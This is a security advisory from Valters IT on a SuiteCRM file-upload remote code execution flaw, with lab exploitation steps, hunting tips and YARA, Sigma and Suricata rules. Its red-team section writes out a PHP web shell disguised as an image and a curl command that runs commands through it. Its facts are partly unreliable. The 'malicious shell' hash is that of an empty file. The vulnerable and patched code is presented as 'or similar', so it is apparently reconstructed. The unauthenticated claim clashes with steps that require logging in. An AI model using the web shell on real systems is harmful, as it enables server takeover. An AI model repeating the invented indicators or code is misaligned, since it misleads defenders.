CVE-2024-36415

Executive Summary

CVE-2024-36415 is a critical unauthenticated remote code execution (RCE) vulnerability in SuiteCRM, an open-source Customer Relationship Management (CRM) application. The flaw resides in the product module's file upload functionality, where insufficient validation of uploaded files allows an attacker to upload a malicious PHP file. Successful exploitation enables arbitrary code execution on the underlying web server, leading to full system compromise. The vulnerability affects all versions prior to 7.14.4 and 8.6.1. With a CVSS score of 9.1, this is a critical severity issue that demands immediate patching. No public proof-of-concept (PoC) or exploit code has been released as of this report, but the risk of weaponization remains high.

Supply Chain & Package Security

SuiteCRM is a PHP-based application distributed via GitHub and Composer. The vulnerability is not in a third-party package but in the core application logic. However, organizations using SuiteCRM should verify the integrity of their installation and ensure no malicious files have been uploaded prior to patching. The official patch is available through the SuiteCRM GitHub repository.

CVSS Breakdown & Threat Level

• CVSS Score: 9.1 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The vulnerability is remotely exploitable without authentication, making it highly dangerous. An attacker can achieve full system compromise with a single request.

Deep Dive & Mechanics

The vulnerability exists in the product module's file upload functionality. SuiteCRM allows users to upload files (e.g., images, documents) associated with product records. The application fails to properly validate the file type and content, allowing an attacker to upload a PHP web shell disguised as a legitimate file (e.g., shell.php.jpg). The uploaded file is stored in a publicly accessible directory (e.g., upload/). When the attacker accesses the uploaded file via a web browser, the PHP code is executed by the server, granting remote code execution.

The root cause is insufficient validation of the file extension and MIME type. The application only checks the file extension against a whitelist but does not verify the actual file content. Additionally, the file is stored with its original name, making it easy to locate.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-7.14.4 / 8.6.1):

// In modules/Products/Product.php or similar
public function save($check_notify = true) {
    // ...
    if (isset($_FILES['uploadfile'])) {
        $upload_file = new UploadFile('uploadfile');
        // Only checks extension, not content
        if ($upload_file->check_upload()) {
            $upload_file->final_move($this->id);
        }
    }
    // ...
}

Patched Code (7.14.4 / 8.6.1):

// In modules/Products/Product.php or similar
public function save($check_notify = true) {
    // ...
    if (isset($_FILES['uploadfile'])) {
        $upload_file = new UploadFile('uploadfile');
        // Added content validation
        if ($upload_file->check_upload() && $upload_file->is_valid_file()) {
            $upload_file->final_move($this->id);
        } else {
            // Log error and reject file
            $GLOBALS['log']->fatal("Invalid file upload attempt: " . $_FILES['uploadfile']['name']);
        }
    }
    // ...
}

The patch introduces a new method is_valid_file() that performs content-based validation (e.g., checking magic bytes, MIME type) to ensure the file is not a PHP script.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable SuiteCRM instance (version 7.14.3 or 8.6.0) using Docker:

   docker run -d -p 80:80 --name suitecrm_vuln suitecrm/suitecrm:7.14.3
   

2. Access the CRM at http://localhost.

Exploitation Steps:

1. Create a malicious PHP file (e.g., shell.php.jpg) with the following content:

   <?php system($_GET['cmd']); ?>
   

2. Log in to SuiteCRM (or use a public-facing product page if unauthenticated access is available).
3. Navigate to a product record and upload the malicious file.
4. Locate the uploaded file path (e.g., http://localhost/upload/shell.php.jpg).
5. Execute commands:

   curl "http://localhost/upload/shell.php.jpg?cmd=id"
   

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team

Detection:

• Monitor for file uploads with suspicious extensions (e.g., .php, .phtml, .php5) in the upload/ directory.
• Look for web requests to upload/*.php* files.
• Analyze access logs for unusual patterns (e.g., cmd= parameter in requests to uploaded files).

Hunting:

• Search for files in upload/ that contain PHP code:

  grep -r '<?php' /var/www/html/upload/
  

• Check for recently modified files in the upload directory.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example, replace with actual if found)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (malicious shell)
• Network Indicators:
  • HTTP requests to /upload/*.php* with cmd= parameter.
  • Unusual file uploads with double extensions (e.g., .php.jpg).
• File System Indicators:
  • Presence of PHP files in the upload/ directory.
  • Unexpected files with execute permissions in web-accessible directories.

Detection Engineering

YARA Rule

rule CVE_2024_36415_SuiteCRM_RCE {
    meta:
        description = "Detects malicious PHP files uploaded via SuiteCRM CVE-2024-36415"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-36415"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $shell_exec = "shell_exec("
        $exec_call = "exec("
        $cmd_param = "cmd="
    condition:
        $php_tag and ($system_call or $shell_exec or $exec_call) and $cmd_param
}

Sigma Rule

title: SuiteCRM File Upload RCE Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-36415 by uploading PHP files to SuiteCRM
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'uploadfile'
        cs-uri-query|endswith: '.php'
    condition: selection
falsepositives:
    - Legitimate PHP file uploads (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-36415 SuiteCRM File Upload RCE Attempt"; flow:to_server; content:"POST"; http_method; content:"uploadfile"; http_client_body; content:".php"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patching: Upgrade to SuiteCRM 7.14.4 or 8.6.1 immediately.
2. Workaround: If patching is not possible, disable file uploads in the product module by modifying the application code or using a web application firewall (WAF) to block PHP file uploads.
3. WAF Rules: Block HTTP POST requests containing uploadfile and .php in the body.
4. File Integrity Monitoring: Monitor the upload/ directory for new PHP files.
5. Least Privilege: Ensure the web server runs with minimal permissions to limit the impact of RCE.

Valters IT
Securing Your Digital Frontier